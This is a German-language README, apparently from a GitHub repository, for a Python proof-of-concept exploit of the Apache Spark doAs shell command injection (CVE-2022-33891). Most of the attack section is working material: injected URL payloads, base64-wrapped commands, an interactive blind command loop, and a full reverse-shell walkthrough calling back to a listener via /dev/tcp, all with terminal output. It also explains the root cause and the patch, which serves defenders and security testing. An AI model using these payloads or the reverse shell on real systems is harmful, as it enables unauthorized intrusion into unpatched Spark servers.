
Sicherheitslücke durch Shell-Befehlsinjektion in Apache Spark
Apache Spark Shell-Befehlsinjektions-Schwachstelle
Ein Python-POC zur Ausnutzung der Apache Spark Shell-Befehlsinjektions-Schwachstelle. Ich habe ein paar andere POCs gesehen, aber die sahen mega sus aus. Dieser hier ist sauber und einfach.
Ich habe diesen Exploit/diese Schwachstelle nicht entdeckt. Ich wollte nur einen sicheren POC für die Community machen ^.^
Die CVE wurde ursprünglich von Kostya Kortchinsky von Databricks entdeckt.
Update 9/7/22: Ayo, es gibt jetzt ein Metasploit-Modul dafür! Erstellt von h00die-gr3y und jetzt gemerged!
Apache Spark-Versionen 3.0.3 und früher, Versionen 3.1.1 bis 3.1.2 und Versionen 3.2.0 bis 3.2.1
http://localhost:8080/?doAs=`[command injection here]`
Beispiel
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... schläft für 10 Sekunden
Du benötigst eine verwundbare Version von Spark, bei der eine einzelne Konfigurationsoption geändert wurde.
$ pip3 install -r requirements.txtspark/.docker-compose.yml im Verzeichnis spark/ und führe docker-compose up aus. Lass den Container hochfahren.sudo docker exec -it spark_spark_1 /bin/bash ein.echo "spark.acls.enable true" >> conf/spark-defaults.confcat anzeigen, um sicherzugehen, dass er gut aussieht.docker-compose up erneut aus.┌──(kali㉿kali)-[~/Desktop]
└─$ python3 poc.py -h
usage: poc.py [-h] -u URL -p PORT [--revshell]
[-lh LISTENINGHOST] [-lp LISTENINGPORT]
[--check] [--verbose]
CVE-2022-33891 Python POC Exploit Script
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL to exploit.
-p PORT, --port PORT Exploit target's port.
--revshell Reverse Shell option.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
Your listening host IP address.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
Your listening host port.
--check Checks if the target is
exploitable with a sleep test
--verbose Verbose mode
Überprüfen, ob das Ziel verwundbar ist:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --check --verbose
[*] Attempting to connect to site...
[*] URL request: http://localhost:8080/?doAs='testing'
[*] Response status code: 403
[!] Performing sleep test of 10 seconds...
[*] T1: 2022-07-22 10:47:48.406996
[*] Command is: sleep 10
[*] Base64 command is: c2xlZXAgMTA=
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[*] T2: 2022-07-22 10:47:58.425108
[*] Delta T: 10
[+] Sleep was 10 seconds! This target is probably vulnerable!
Befehle in einer Eingabeaufforderungsschleife eingeben:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --verbose
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
[cve-2022-33891> sleep 5
[*] Command is: sleep 5
[*] Base64 command is: c2xlZXAgNQ==
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[cve-2022-33891>
Eine Reverse Shell ausführen:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 10.10.1.237 -lp 9001 --verbose
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 9001
[*] When your listener is set up, press enter!
[*] Command is: sh -i >& /dev/tcp/10.10.1.237/9001 0>&1
[*] Base64 command is: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx | base64 -d | bash`
[*] Sending exploit...
...[in the other terminal]...
husky@dev-kde:~/Desktop/cve-2022-33891$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 172.19.0.2 52136
sh: 0: can't access tty; job control turned off
$ whoami
spark
$ echo "hackerman"
hackerman
$
Die Befehlsinjektion tritt auf, weil Spark die Gruppenmitgliedschaft des Benutzers, der im Parameter ?doAs übergeben wird, mithilfe eines rohen Linux-Befehls überprüft. Die Bash-Interpolation führt den Befehl aus, sendet die Ausgabe an das id-Feld und versucht, den resultierenden Benutzer nachzuschlagen.
Wenn man which python als Wert des Parameters ?doAs= übergibt, erzeugt das dieses Ergebnis im Traceback:
...
http://localhost:8080/?doAs=`which%20python`
...
spark_1 | 22/07/22 15:15:57 INFO Utils: id: '/opt/bitnami/python/bin/python': no such user
spark_1 | 22/07/22 15:15:57 ERROR Utils: Process List(bash, -c, id -Gn `which python`) exited with code 1:
spark_1 | 22/07/22 15:15:57 ERROR Utils: Error getting groups for user=`which python`
Hier hat Java entschieden, dass es am besten wäre, den Befehl id an bash -c zu übergeben, um die Gruppenmitgliedschaft für einen bestimmten Benutzer zu überprüfen. Das Problem ist, dass dies auch eine Befehlsinjektion ermöglicht. Die Bash-Interpolation hat den angegebenen Befehl ausgewertet, das Ergebnis in Zeile 1 dieser Ausgabe gedruckt und versucht, den Benutzer anhand der Standardausgabe des Befehls nachzuschlagen.
Es gibt keinen Benutzer namens /opt/bitnami/python/bin/python, aber das bedeutet ganz sicher, dass der Befehl an Bash übergeben und ausgeführt wurde.
Gepatchte Versionen parametrisieren diesen Aufruf so, dass ein vollständiger Pfad zum Befehl /bin/id verwendet wird, anstatt bash -c id.
Es ist erwähnenswert, dass während der Befehlsausführung nichts auf der Seite zurückgespiegelt wird – es handelt sich also um eine blinde OS-Injektion. Deine Befehle werden ausgeführt, aber es gibt keine Anzeige, ob sie funktioniert haben oder nicht, oder ob das Programm, das du ausführst, überhaupt auf dem Ziel vorhanden ist. Der Container, der mit der docker-compose.yml in diesem Repo gestartet wird, hat zum Beispiel kein ping, daher funktioniert das Prüfen auf Befehlsinjektion per Pingback nicht. Aber das weißt du nicht, und so fragst du dich, ob es funktioniert hat oder nicht.
Der Sleep-Test ist eine sichere Sache ^.^
Ich habe exakt null Zyklen darauf verwendet, das OPSEC-sicher zu machen. Red Teamer, das ist eure Sache.
Dieser POC hat keine Fähigkeit zur passiven Erkundung. Der Exploit ist eine blinde Befehlsinjektion. Wenn du dieses Skript gegen ein Ziel verwendest, sendest du Pakete an dieses Ziel. Selbst wenn du den Parameter --check verwendest und das Ziel verwundbar ist, exploitierst du es aktiv, um zu beweisen, dass es verwundbar ist.
Verwende dies nicht auf Produktionssystemen, die empfindlich auf Tests reagieren. Verwende dies nicht gegen Ziele, wenn du nicht dazu autorisiert bist. Ich bin nicht im Entferntesten haftbar dafür, wie du dich entscheidest, dies zu verwenden.
Schau dir die Lizenz an.